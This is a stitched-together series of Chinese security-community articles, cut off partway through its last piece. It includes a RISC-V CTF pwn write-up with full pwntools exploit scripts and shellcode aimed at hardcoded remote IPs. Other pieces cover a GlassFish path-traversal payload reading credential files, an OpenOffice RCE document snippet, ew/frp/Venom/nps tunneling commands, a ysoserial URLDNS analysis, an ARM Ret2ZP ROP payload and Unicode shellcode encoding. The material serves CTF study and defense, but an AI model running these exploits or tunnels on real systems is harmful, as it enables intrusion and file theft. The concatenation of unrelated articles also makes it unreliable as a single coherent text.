cmd = "rm " + file_name
menu(cmd)
def op_cat(file_name):
cmd = "cat " + file_name
menu(cmd)
def op_ls():
cmd = "ls"
menu(cmd)
def op_echo(file_name, buf):
cmd = "echo > "
cmd += file_name
menu(cmd)
sl(buf)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
io = remote("121.37.222.236", 9999)
for i in range(0x30):
op_touch(str(i))
shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"
op_echo("0", shellcode)
payload = shellcode
payload += "A"*(0x138-len(payload))
payload += p64(0x0000000000025f10)
op_echo(str(0x30), payload)
ioi()
## harmoshell2
这个题目整体逻辑上和harmoshell是一样的，但是不存在栈溢出了，经过逆向在`FUN_00011384`函数位置找的了堆溢出：
可以看到这里的每次输入后，就会将buffer指针向后移，多echo几次就可以造成堆溢出，同时发现lib其实就是`./lib/libc-2.27.so`，那么这个问题就简化为了一个容易的libc堆溢出题目了。思路如下：
1. 申请并释放7个文件，填充tcache
2. 释放一个文件，进入unsorted bin
3. 申请出来，泄露libc地址
4. tcache bin attack打free_hook，写一个堆地址
5. 在堆中部署好shellcode
6. free释放执行shellcode
其实远程泄露的时候发现libc地址也是不变的，但是远程的qemu中的libc地址和本地qemu中libc中地址是不同的，堆地址远程和本地相同，所以exp中就直接写死了。
#coding=utf-8
from pwn import *
# context.log_level = 'debug'
# context.binary = "harmoshell"
ru = lambda x : io.recvuntil(x)
rud = lambda x : io.recvuntil(x ,drop=True)
sn = lambda x : io.send(x)
rl = lambda x : io.recvline()
sl = lambda x : io.sendline(x)
rv = lambda x : io.recv(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
gdba = lambda : gdb.attach(io)
ioi = lambda : io.interactive()
def dbg( b ="source loadsym.py"):
gdb.attach(io , b)
raw_input()
def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
def menu(cmd):
ru("$ ")
sl(cmd)
def op_touch(file_name):
cmd = "touch " + file_name
menu(cmd)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
def op_cat(file_name):
cmd = "cat " + file_name
menu(cmd)
def op_ls():
cmd = "ls"
menu(cmd)
def op_echo(file_name, buf):
cmd = "echo >> "
cmd += file_name
menu(cmd)
sn(buf)
def op_rm(file_name):
cmd = "rm " + file_name
menu(cmd)
io = remote("139.159.132.55", 9999)
libc_base = 0x4000986000
libc = ELF("./lib/libc-2.27.so")
for i in range(0x5):
op_touch(str(i))
for i in range(0x5 , 0x20):
op_touch(str(i))
for i in range(5 , 0x20):
op_rm(str(i))
op_touch(str(0x20))
op_cat(str(0x20))
shellcode = "\x01\x11\x06\xec\x22\xe8\x13\x04\x21\x02\xb7\x67\x69\x6e\x93\x87\xf7\x22\x23\x30\xf4\xfe\xb7\x77\x68\x10\x33\x48\x08\x01\x05\x08\x72\x08\xb3\x87\x07\x41\x93\x87\xf7\x32\x23\x32\xf4\xfe\x93\x07\x04\xfe\x01\x46\x81\x45\x3e\x85\x93\x08\xd0\x0d\x73\x00\x00\x00"
payload = "a" * 0x50
op_echo("0", payload)
lg("free_hook", libc_base + libc.sym['__free_hook'] )
op_rm("1")
payload = "b" * 0xb0
payload += p64(0) + p64(0x31)
payload += p64(0x31) + p64(0)
payload += p64(0x26050) + p64(0x100)
payload += p64(0) + p64(0x111)
payload += p64(libc_base + libc.sym['__free_hook'] - 0x10) # 0x4000aa3838
op_echo("0", payload)
op_touch(str(0x5))
op_touch(str(0x6))
op_echo("2" , shellcode)
op_echo("6", p64(0x0000000000026190) * 4)
ioi()
## 总结
1. Risc-V从工具链来讲，已经`具备出成CTF题目`的条件
2. Risc-V题目是`新瓶装旧酒`，在指令集熟悉之后，该逆向逆向，该Pwn还是Pwn | 社区文章 |
# glassfish任意文件读取漏洞解析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
昨天播报转载了一篇PKAV写的有关glassfish的文章，今天360安全播报初步分析一下此漏洞。大家看完以后应该会茅舍顿开。
这个漏洞其实就是很多年以前出现的unicode编码漏洞,早期的webSphere、tomcat都出现过这种问题,其实就unicode编码缺陷导致同一代码的多重含义,导致操作系统对代码的错误解析,一个典型的例子就是%c0%ae会被识别为./,具体可以参考[https://www.owasp.org/index.php/Canonicalization,_locale_and_Unicode#Description](https://www.owasp.org/index.php/Canonicalization,_locale_and_Unicode#Description)
所以glassfish这个poc实际上就是../../../../../../../../../../../etc/passwd,所以关于这个漏洞基本上没什么好说的了,很老的东西了。13年作者在wooyun就发过类似漏洞,不过是绕过webSphere的,可以读取任意配置文集,下载class代码,道理其实是一样的[http://wooyun.org/bugs/wooyun-2013-047523](http://wooyun.org/bugs/wooyun-2013-047523)。通过这种方法可以读取任意文件,这里附上读取admin后台配置文件截图
并且可以下载任意代码,如图
关于利用实际上还可以变形,例如
http://192.168.147.148:4848/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile
** 修复方法:**
其实很简单,过滤unicode解码之后的字符串防止出现”.”,”/”等就可以了,不管是程序代码还是waf规则,都是这样做。其实还是云服务提供商的waf没有过滤严谨,因为waf完全有能力去解码url,然后配置waf规则做过滤。 | 社区文章 |
# Apache OpenOffice RCE（CVE-2020-13958）漏洞预警
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Apache OpenOffice 4（包括经过测试的最新版本4.1.7）容易受到远程代码执行的攻击；
如果受害者在Windows上打开了精心制作的.odt文档，则攻击者可以完全控制他们的计算机。
漏洞问题是，该产品无法像宏执行一样处理script：event-listener处理程序。
使用这样的构造：
<office:scripts>
<office:event-listeners>
<script:event-listener script:language="ooo:script" xlink:href=".uno:OpenHyperlinkOnCursor" script:event-name="dom:load"/>
</office:event-listeners>
</office:scripts>
在OpenOffice中，无需任何确认对话框即可触发打开URL，包括专门供内部使用的特殊.uno或.service链接处理程序。
PoC可以在Windows上弹出计算器。 还支持UNC目标，在这种情况下，它们受操作系统的“网络标记”安全警告的约束。
触发.uno或.service动作在Linux上也能正常工作-尽管找不到将其转变为在该OS上执行代码的实用方法。
受影响的版本
Apache OpenOffice 4 versions before 4.1.8.
参考链接：<https://github.com/irsl/apache-openoffice-rce-via-uno-links> | 社区文章 |
## 前言
前几天去参加省赛的时候做内网穿透这一块明显感觉不怎么熟练，平时看大部分文章都是讲的两层网络的穿透，在真实场景下，有时候是三层甚至四层，自己实践之后发现还是和两层网络差距比较大的。由于是三层网络，写起来图会比较多，选取了四款常用穿透软件：ew，nps，frp，venom进行试验。
## 环境搭建
拓扑图如下：
`192.168.1.0/24`模拟公网环境。
每台PC上都有一个web服务，内网主机除边缘win7外全部不出网，内网同网段之间的主机可以相互访问,不同网段相互隔离。
假设现在已经拿到边缘主机win7。（文中所指的win2012全部指左边这台）
由于环境中途崩了一次，从Venom开始ip有所变化，请见谅。
## ew
将ew上传至边缘机器。
在攻击机上执行:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
在边缘机器上执行:
ew_for_Win.exe -s rssocks -d 192.168.1.104 -e 1234
这时候回来看攻击机，就已经成功了。
给浏览器设置一个代理，即可访问内网web。
经过一系列操作，我们又写入了一个shell。
同样这里需要开启蚁剑代理。
查看192.168.183.134这台主机是否出网，结果是不出网。
由于需要执行命令，我们得保证一级代理不能掉。所以这里我用了两个webshell工具，蚁剑和冰蝎。
蚁剑关闭代理，冰蝎开启sock5代理1080端口，冰蝎去连`192.168.183.134`这台不出网主机，蚁剑连接边缘机器`192.168.1.110`。
攻击机另起一个cmd，执行命令：
ew_for_Win.exe -s lcx_listen -l 3080 -e 8888
注意这里的端口不要和刚刚1080端口重合。
不出网主机win2012执行命令：
ew_for_Win.exe -s ssocksd -l 9999
这里没回显是正常的，但要保证一级代理不能掉。
再通过边缘机器打通192.168.1.110:8888 和 192.168.183.134:9999 之间的通讯隧道
ew_for_Win.exe -s lcx_slave -d 192.168.1.104 -e 8888 -f 192.168.183.134 -g 9999
这里同样的浏览器再挂个代理就可以了。
再拿webshell工具去连的话就另外再挂个3080端口代理就行了。
## frp
攻击机配置frps.ini文件
[common]
bind_port = 7000
边缘机器配置frpc.ini
[common]
server_addr = 192.168.1.104
server_port = 7000
[http_proxy]
type = tcp
plugin=socks5
remote_port = 6000
攻击机执行命令
frps.exe -c frps.ini
边缘机器执行命令
frpc.exe ‐c frpc.ini
浏览器挂代理访问6000端口即可
拿到win2012的webshell权限后，准备进一步代理到`192.168.57.0/24`。一级代理不要掉。
攻击机配置`frps.ini`
[common]
bind_addr = 0.0.0.0
bind_port = 7788
边缘主机win7配置`frps.ini`
[common]
bind_addr = 192.168.183.131
bind_port = 7799
同时配置win7主机上`frpc.ini`
[common]
server_addr = 192.168.1.104
server_port = 7788
[http_proxy]
type = tcp
local_ip = 192.168.183.131
local_port = 1080
remote_port = 1080
同样上传frp到win2012上，配置`frpc.ini`
[common]
server_addr = 192.168.183.131
server_port = 7799
[http_proxy]
type = tcp
remote_port = 1080
plugin = socks5
执行`frpc.exe ‐c frpc.ini`，这里都是没什么回显。
设置代理1080
同样的写入shell之后webshell工具连接挂个代理就行了。
## Venom
此时ip发生变化：
* win7： 192.168.183.138 192.168.1.109
* win2012： 192.168.183.139 192.168.57.136
* 核心机器win2012：192.168.57.137
攻击机上执行
admin.exe -lport 9999
边缘主机win7上执行
agent.exe -rhost 192.168.1.104 -rport 9999
回到攻击机器上就已经有了连接。
然后执行命令，将流量代理到7777端口
goto 1
socks 7777
这时win2012就可以访问了
通过冰蝎走代理，将`agent.exe`上传至win2012。
在攻击机上让节点一进行监听，也就是在边缘机器win7上等待win2012连接。
在win2012上执行命令连接win7：
agent.exe -rhost 192.168.183.138 -rport 9998
这时在攻击机上使用show命令，查看节点，就可以发现已经有两个节点，选择节点2，并socks代理到本机9998端口。
## Nps
> 这个工具我还是第一次用，由于有图形化界面，感觉这个工具还比较好用，不像frp要去目标机器配置文件，也比ew更加稳定。
首先去官网下载nps和npc：<https://github.com/ehang-io/nps/releases>
这里我都是windows64位，下载这两个就可以了。
直接执行nps.exe(要注意端口，被占用了就修改conf文件)
然后访问127.0.0.1:8080，如果是vps上起的话就访问vps:8080，默认密码admin/123。登录后点击右侧客户端，然后新增：
这里可填可不填，留空的话会自动生成密匙，等会拿这个密匙来让边缘主机win7连接攻击机器。
这里ID和密匙等会要用。
点击右侧socks代理，新增。ID为上面的id，端口填一个没有被占用的端口就好了，保存后server就配置完毕了。
将npc上传至边缘机器win7，并执行命令：
npc.exe -server=ip:port -vkey=服务端生成的key
这里的port默认是8024，如果修改过nps.conf中的端口就是修改过后的端口，key就是上面服务端的密钥。
执行后可以看到连接已经变成在线，这时候就已经代理好了。
浏览器挂个代理或者用Proxifier都是可以的，前面因为一直都是用的浏览器直接走代理这里还是用下Proxifier。
新增代理规则如下
> 做二层代理时候想了很久，翻遍全网都没有一个案例，我的想法是kali上去开一个nps服务端，然后msf添加路由，这是一种方式。
>
>
> 还有就是3389远程去连边缘主机win7，但是这样操作太敏感了。官方文档有如下这样的说明，但是没找到参数怎么用，这里就用3389勉强试一下，希望有懂的表哥指点。初次体验nps感觉不是很好，如果是只做一层代理还是可以。
经过一系列代理操作还是在win7边缘主机访问到win2012核心机器
## 总结
个人觉得Venom是对新手最友好的，并且多层代理还比较方便，两层三层都比较容易上手，然后就是nps，有图形化界面还是不错的。frp比较稳定，但是要配置ini文件比较麻烦。ew稳定性又差一点。总的来说就是各有所长吧，在真实环境中要根据不同的情况使用不同的方案。
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
# Java安全之ysoserial-URLDNS链分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
Java提供了一种序列化的机制可以将一个Java对象进行序列化后，用一个字节序列表示，并在Java虚拟机之间或网络间传输，之后可通过`readObject()`方法反序列化将字节序列反序列化还原成原先的对象。而如果对于反序列化没有做安全限制，并且反序列化点可控的话，我们可以通过一个恶意的序列化对象通过利用链，去达到执行任意代码的目的。
而我们平常复现或利用反序列化漏洞时，也经常会用到ysoserial项目去生成序列化payload，下面就先分析学习一下ysoserial中的URLDNS链。
## 0x01 运行ysoserial
下载ysoserial项目源码，导入IDEA
项目地址：<https://github.com/frohoff/ysoserial>
打开pom.xml文件，是个Maven项目，点击刷新拉取缺少的依赖
拉取完可能还会有些爆红的地方，但是不会影响程序运行。
下面寻找下程序的入口点，搜索mainclass即可
## 0x02 序列化payload生成流程
先来大致看下这个GeneratePayload的main方法。
首先进行一个判断，是否传入了两个参数，如果不是则打印帮助信息；是的话会依次分别赋值给payloadType和command变量。
之后实例化了一个需要继承ObjectPayload类的类实例化对象，跟进一下getPayloadClass方法，看看是如何实现的
在ysoserial.payloads.ObjectPayload.Utils下
可以看到会先反射一个class对象，之后获取包名和类名并加上我们之前传入的payloadType参数并将返回值赋值给GeneratePayload的payloadclass。
后续生成一个payloadclass所表示的类的新实例化对象赋值给payload,之后调用getObject方法，跟进看一下getObject方法
该方法定义于ObjectPayload接口，继续跟进
发现跳到了URLDNS，且该类实现了ObjectPayload接口。
那么上面的操作就是根据输入的参数，获取类名并定位到该类中，也就是进入到利用链的类文件中，调用该类的getObject方法生成payload并将返回值（也就是序列化payload）赋值给object对象。
URLDNS中的操作我们放到后面再分析，继续回到GeneratePayload#main方法中
之后调用serialize()方法将payload序列化并打印输出。
那么上面将大致的payload生成流程过了一遍，下面跟进去运行测试一下，生成一个URLDNS链的序列化payload。
这里没设置参数，所以可以看到出现了帮助信息，我们设置下参数
点击`Edit Configurations`，如下图设置参数再重新运行，这里可以随便写个地址，或者获取一个dnslog用于测试
这次就成功运行了，下面的乱码数据就是上面分析过的，经过一系列操作生成的URLDNS序列化之后的payload字节序列
## 0x03 URLDNS链使用
URLDNS链的利用效果是发起一次远程请求，而不能去执行命令。基本上是用来测试是否存在反序列化漏洞的一个链，比如在一些无法回显执行命令的时候，可以通过URLDNS链去发送一个dns解析请求，如果dnslog收到了请求，就证明了存在漏洞。
下面命令行使用下URLDNS链看看效果
将生成的序列化payload保存在一个txt里，后面用一个测试demo读取文件数据再给他反序列化一下，观察dnslog请求就可以了。
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn"
java -jar ysoserial.jar URLDNS "http://ba0i6v.dnslog.cn" > URLDNS.txt
反序列化测试demo
import java.io.*;
public class URLDNSTestDemo {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("/Users/b/Desktop/Tools/URLDNS.txt");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
运行demo测试是否可以成功将序列化的payload执行并在dnslog留下记录
dnslog平台已经接收到了请求，说明我们利用测试成功了。
下面我们分析一下URLDNS链执行流程是怎样的。
## 0x04 URLDNS链分析
URLDNS这条利用链并不依赖于第三方的类，而是JDK中内置的一些类和方法。所以并不需要一些Java的第三方类库就可以达到目的。
打开URLDNS源码，URLDNS.java
在最上面的注释中，作者已经给出了URLDNS的Gadget chain
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
下面debug看一下是如何执行的。
触发点在`put`方法，我们在`put`方法处打一个断点,在`Edit configurations`中设置好参数，debug mainclass文件即可
成功在断点处停下，下面我们一步一步调试分析
首先我们看下这个`ht`对象的类`HashMap`，可以观察到有序列化接口
那么全局搜一下`readObject`方法，发现在最后调用了`putVal`方法进行了一个hash计算
回到断点处跟进一下`putVal`方法，参数的`key`和`value`都是我们输入的dnslog地址
继续跟进，看一下`hash`方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里因为传入的`key`不为0，会执行`key.hashcode`方法，继续跟一下`hashcode`方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这的`handler`是`URLStreamHandler`的对象，这里在序列化时将`hashcode`值设-1，所以直接调用了`handler`的`hashCode`方法并重新赋值返回了`hash`，继续跟进
这里调用的是URLStreamHandler这个类的hashCode方法，此时我们传入的URL
u对象其实就是我们的dnslog地址，后面通过u.getProtocol()方法获取了协议名字，也就是http
继续跟进，下面会进行一个if判断，执行语句后 h的值会加上portocal的hashCode()方法的返回值,跟一下这里调用的hashCode()方法
发现是String的hashcode()方法，这里做了一顿操作得到String的hash值并赋值给h并返回出来
继续跟进，调用了getHostAdress方法
来看一下getHostAdress是如何实现的，观察逻辑，这里会先后调用`getHost()`、`getByName()`两个方法，最终是通过`getByName(getHost())`这样去发送的dnslog请求
到了这里，dnslog就已经可以接收到请求信息了，致此这歌利用链差不多就分析完了。
整个调用链为
HashMap.readObject() => HashMap.putVal() => HashMap.hash() => URL.hashCode() =>
URLStreamHandler.hashCode() => URLStreamHandler.hashCode().getHostAddress => URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName()
## 0x05 URLDNS链中的一些细节
回到URLDNS类，可以看到还有一些其他的点其实并没有去深入分析，比如下面这几段代码
...
URLStreamHandler handler = new SilentURLStreamHandler();
...
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
...
Reflections.setFieldValue(u, "hashCode", -1);
这里new的是一个SilentURLStreamHandler对象，继承自URLStreamHandler并且重写了两个方法，分别是getHostAddress和openConnection且都是空方法，比较耐人寻味。
**关于重写getHostAddress方法与hashcode = -1**
Java中继承子类的同名方法会覆盖父类的方法，所以说本来是要执行URLStreamHandler中的getHostAddress方法会变成执行他的子类SilentURLStreamHandler的getHostAddress方法（也就是空方法）。因为在默认情况下hashcode的值就是-1，那么在本地进行将
URL 对象 put 进
hashMap时如果hashcode值为-1就直接调用了getHostAddress方法也就会在生成序列化payload的时候在本地发送一次dnslog请求，所以ysoserial中给出对应的解决方法就是让SilentURLStreamHandler继承URLStreamHandler并重写getHostAddress为空方法，这样即使hashcode为-1也不会在本地发送请求（继承子类的同名方法会覆盖父类的方法）
`Reflections.setFieldValue(u, "hashCode",
-1);`最后通过反射将hashcode重新设置为-1，那么在反序列化过程就会触发dnslog请求
**关于handler**
在调试的时候其实就发现了一个特殊的关键字transient，不可序列化，也就是说handler最终不会在我们产生的序列化payload中，所以即便SilentURLStreamHandler重写了父类方法，也不会影响反序列化的过程
**关于重写openConnection方法**
这个就比较简单了，因为URLStreamHandler是一个抽象类，所以实现类必须实现父类的所有抽象方法
## 0x06 结尾
根本原因还是在HashMap存在反序列化点并重写了readObject方法可以接受反序列化数据，之后因为hashcode=-1，通过putVal计算hash时一步步的调用直到调用getHostAddress方法，就会发起远程请求触发dnslog。整体下来其实并不算太复杂，只是需要耐心一点弄清楚逻辑和一些方法的作用就可以了
文章有分析的不对的地方还请师傅们指出
参考文章：
<https://www.secpulse.com/archives/157407.html>
<https://www.cnblogs.com/nice0e3/p/13772184.html> | 社区文章 |
# ARM 架构—探究绕过NX的一种方式Ret2ZP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
ARM
指令集架构，常用于嵌入式设备和智能手机中，是从RISC衍生而来的。并且ARM处理器几乎出现在所有的流行智能手机中，包括IOS、Android、Window
Phone和黑莓操作系统，并且在嵌入式设备中经常出现，如电视机、路由器、智能网关等。ARM和x86指令集架构先比，ARM由于起精简指令集，具有高效，低耗能等优点，可以去确保在嵌入式系统上提供出色的性能。
## 0x02 缓冲区溢出原理
缓冲区是用于保存数据的临时内存空间。缓冲区溢出通常发生在写入缓冲区的数据大于缓冲区大小时，由于边界检查不足，缓冲区溢出并写入相邻的内存位置，这些位置可能是一些重要的数据或返回地址等。
并且局部变量一般来说在程序中是充当缓冲变量或者缓冲区。
在缓冲区溢出中，我们的主要目的是用一些手段来修改返回地址，通过控制链接寄存器（LR）来控制程序执行流。
一旦我们控制了返回地址，返回地址将赋值给PC寄存器，劫持了PC,你就掌控了一切。
## 0x03 ARM 和 X86 对缓冲区溢出利用的区别
当一个程序开启NX保护之后，X86 架构下，首先想到的是Ret2Libc 来绕过NX ，篇幅有限，这里Ret2Libc就不展开说了。
但是在ARM架构中，Ret 到 Libc 是无法做到的，因为 **在ARM处理器中，函数的参数是通过寄存器传递的**
，而不是如X86，函数的参数通过堆栈传递。因此在ARM实现和x86 中Ret2Libc一样的效果，我们需要将参数放入到寄存器中。
这里使用到了 **Ret2ZP技术** （Return To Zero Prevention）
举个例子，我们在栈溢出利用中，一般的思路是构造gadgets，来执行system(“/bin/sh”) 来获取shell。 但是在构造gadgets，
需要将 “/bin/sh” 传递到system 函数执行时调用的寄存器R0中。
这里在 Ret2ZP 中常用的在libc 中的gadgets 有以下这些，是实际利用时，并不是每个都有用，选在实际环境中可以使用的就行。
erand48
lrand48
seed48
## 0x04 环境搭建
这里使用的的Raspbian 虚拟机，下载安装方法搜索引擎有很详细的文章。这里说明一下我搭建过程遇到的问题。
首先是在Raspbian 虚拟机中 下载gdb , 建议手动编译。因为apt 下载的gdb 是版本小于8.1。在实际gdb 调试会出现如下图所示问题
解决方案：这是gdb 因 ARM
程序内存损坏而造成的错误，最好的解决方式是安装gdb-8.1版本。<https://github.com/hugsy/gef/issues/206>
编译完之后。运行gdb 会出现如下错误
Python Exception <type 'exceptions.ImportError'> No module named gdb:
/usr/local/bin/gdb: warning:
Could not load the Python gdb module from `/home/pi/gdb-8.2/=/usr/share/gdb/python'.
Limited Python support is available from the _gdb module.
Suggest passing --data-directory=/path/to/gdb/data-directory.
解决方案：这是因为在编译的的时候需要指定编译环境是python3.5，默认是2.5，因此需要 ./configure —prefix=/usr —with-system-readline —with-python=/usr/bin/python3.5m 。
在编译的过程中还有可能会出现如下图所示的缺少库文件 “/usr/bin/ld: cannot find -lreadline “
解决方案：sudo apt-get install libreadline6-dev
然后就是安装gef 插件了。QAQ
## 0x05 缓冲区溢出实例
### 1）漏洞代码
这里用一个最简单的代码来学习Ret2ZP技术，并且缓冲区溢出点特别明确，有strcpy函数将输入的大于buf分配内存大小的参数传入到固定大小的buf缓冲区，从而造成缓冲区溢出。
漏洞代码
#include <stdio.h>
#include <stdlib.h>
void do_echo(char* buffer)
{
char buf[10];
strcpy(buf,buffer);
}
int main(int argc, char **argv)
{
do_echo(argv[1]);
return(0);
}
关闭ALSR保护
`echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`
编译代码
`pi[@raspberrypi](https://github.com/raspberrypi "@raspberrypi"):~$ gcc -fno-stack-protector echo_arm1.c -o echo_arm`
查看编译后文件的保护情况。
### 2） 确定溢出点并计算偏移
使用gdb 打开文件调试，并且查看文件中函数的汇编代码，如下图所示。
利用pattern.py 生成字符串
这里在do_echo 函数的0x00010468处打断点。
运行程序并将pattern生成的字符串输入可以看到在执行到0x00010468处，R11寄存器中值是”a5Aa”,接下来计算出栈溢出的偏移地址
经过计算，buf缓冲区溢出到返回地址需要16个字节，也就是说劫持PC寄存器需要16个padding。
### 3) 构造ROP Chain
这里利用seed48代码片段，当然也可以用我上面说的lrand48。这里使用seed48比lrand48 的gadgets 要复杂一点点。
可以看到R11寄存器后的值
查找system函数地址 0xb6eab154
查找“/bin/sh” 所在的地址 0xb6f91944
构造ROP chain 如下图所示，根据 ARM 的特性，system 函数需要的参数需要R0寄存器传入到 system。因此需要将 “/bin/sh”
字符串的地址放入到 R0 寄存器中，这里 gadgets1 首先将栈上 “/bin/sh” 的地址传入到R4寄存器中，由于在 gadgets2 中
R0=R4+6 ，因此这个时候需要0xb6f91944 减 6 ，然后在PC寄存器中放入 gadgets ，在执行 gadgets2
的过程中，会把“/bin/sh” 正确的地址传入到 R0，然后输入 padding(“DDDD” ) 传入到 R4 , 再执行system
函数从而获取shell 。
这里在构造的 payload 的时候，需要注意大小端的问题，这里文件是小端的，在小端字节序中，最低有效字节存储在最低地址。
AAAABBBBCCCCDDDD\x88\x30\xea\xb6\x3e\x19\xf9\xb6\x84\x30\xea\xb6DDDD\x54\xb1\xea\xb6
将构造的payload 发送过去
r `printf "AAAABBBBCCCCDDDD\x88\x30\xea\xb6\x3e\x19\xf9\xb6\x84\x30\xea\xb6DDDD\x54\xb1\xea\xb6"`
可以看到栈上成功覆盖到我们构造的payload
继续往下执行就可以拿到shell
## 0x06 总结
Ret2ZP
技术，和Ret2lib的原理相差不大，但是由于ARM处理器的特性，函数执行的过程中，需要从R0~R3寄存器中获取参数，因此在构造ROP的时候，需要多考虑一点是将函数参数的值传入到R0~R3
寄存器中。 | 社区文章 |
## 前言
* * *
欢迎到来Coding art in shellcode的第二部分，上文中我们逐步分析了各指令的opcode，总结出了有用的部件，下面就来拼凑这些东西。
## The Strategy
* * *
看起来几乎不可能用这么小的一组的opcode来组合获得一个可用的shellcode的opcode.....但不是！
有个想法如下：
给定一个可运行的shellcode，我们首先要做的就是摆脱每个字节之间的00。我们需要一个循环，所以让我们做一个循环，假设EAX指向我们的shellcode：
; eax points to our shellcode
; ebx is 0x00000000
; ecx is 0x00000500 (for example)
label:
43 inc ebx
8A1458 mov byte dl,[eax+2*ebx]
881418 mov byte [eax+ebx],dl
E2F7 loop label
问题是这些不是Unicode。所以首先将其转化为Unicode:
43 8A 14 58 88 14 18 E2 F7
转变 :
43 00 14 00 88 00 18 00 F7
然后，记住我们可以在EAX指向的位置写入数据这一条件，将00转换为其原始值将变得很简单。
我们只需这样做：
40 inc eax
40 inc eax
C60058 mov byte [eax],0x58
问题是这些还是不是Unicode.,像0x40这样的两个字节我们需要在其间插入0c00,，不过像是00这样的不合适，我们需要这样的结构00？？00才不会影响我们的工作：
add [ebp+0x0],al (0x004500)
很好，这样我们可以得到：
40 inc eax
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
C60058 mov byte [eax],0x58
40 00 45 00 40 00 45 00 C6 00 58
没什么作用，但这是一个Unicode字符了。
在Loop之前，我们必须完成一些事情：
首先我们必须设置一个合适的计数器，我建议将ECX设置为0x0500，这样用来处理1280字节的shellcode（可随意更改）。
* > 这很容易做，这要归功于我们刚刚思考的结果。
> 其次就是EBX = 0x00000000，这样循环才能正常工作。
* > 这也很容易做到。
> 最后，我们必须让EAX指向我们的shellcode才能去掉null。
* > 这个是一个比较烧脑的工作，我们稍后再提。
假设EAX指向我们的代码，我们可以构建header来清除接着代码的0x00（使用 add [ebp+0x0],al 来对齐null）。
1. 设置EBX = 0x00000000，ECX = 0x00000500（近似大小的缓冲区）
6A00 push dword 0x00000000
6A00 push dword 0x00000000
5D pop ebx
004500 add [ebp+0x0],al
59 pop ecx
004500 add [ebp+0x0],al
BA00050041 mov edx,0x41000500
00F5 add ch,dh
2. 还原LOOP代码
43 00 14 00 88 00 18 00 F7
得还原成：
43 8A 14 58 88 14 18 E2 F7
所以我们来修补这4个字节，很简单：
mov byte [eax],0x8A
inc eax
inc eax
mov byte [eax],0x58
inc eax
inc eax
mov byte [eax],0x14
inc eax
还有一种办法可以让eax操作shellcode：
004500 add [ebp+0x0],al
C6008A mov byte [eax],0x8A ; 0x8A
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
C60058 mov byte [eax],0x58 ; 0x58
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
C60014 mov byte [eax],0x14 ; 0x14
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
C600E2 mov byte [eax],0xE2 ; 0xE2
004500 add [ebp+0x0],al
40 inc eax
004500 add [ebp+0x0],al
现在EAX寄存器指向Loop的结尾，也就是说eax指向了shellcode。
3. 循环代码（塞满了null）
43 db 0x43
00 db 0x00 ; overwritten with 0x8A
14 db 0x14
00 db 0x00 ; overwritten with 0x58
88 db 0x88
00 db 0x00 ; overwritten with 0x14
18 db 0x18
00 db 0x00 ; overwritten with 0xE2
F7 db 0xF7
在这之后应该放置原始的可用shellcode。
让我们计算一下这些header的大小（当然null不计数）：
1st part : 10 bytes
2nd part : 27 bytes
3rd part : 5 bytes
Total : 42 bytes
我觉得这个大小很合适，因为制作一个远程Win32shellcode 大小为450字节左右比较合适。
所以，最后，我们完成了它：一个变成unicode编码的shellcode可以正常工作！
这是真的吗？ 当然没有，我们忘了一些东西。 之前我们假定EAX指向了循环的第一个空字节
码。 接下来，我来说明一下这个。
## Captain, we don't know our position
* * *
问题很简单：我们必须在内存上执行补丁才能使我们的Loop正常工作。 所以我们需要知道我们在内存中的位置。
在汇编程序中，执行此操作的简单方法是：
call label
label:
pop eax
EAX中将获得标签的绝对地址。
在一个标准的shellcode中，我们需要调用一个较低的地址避免空字节：
jmp jump_label
call_label:
pop eax
push eax
ret
jump_label:
call call_label
; ****
然后我们将会获得 _**_ 的绝对地址.
但是在我们的例子中这样做是不可能的，别忘了我们不能使用jmp或者
。而且，我们无法解析内存来寻找任何类型的标签。我确定一定有办法这一解决这些问题，不过我只想到三种方法：
### 1st idea : we are lucky
如果我们运气足够好，我们可以期望有一些寄存器指向靠近我们恶意代码的地方。这个地方的地址不能被认为是经过编码的，因为如果进程内存从机器移动到另一个机器，它肯定会移动。（该程序在崩溃前必须使用过您的数据，因此它必有指向它的指针）
我们知道我们可以添加任意的东西给eax（只有eax）所以我们可以这样做：
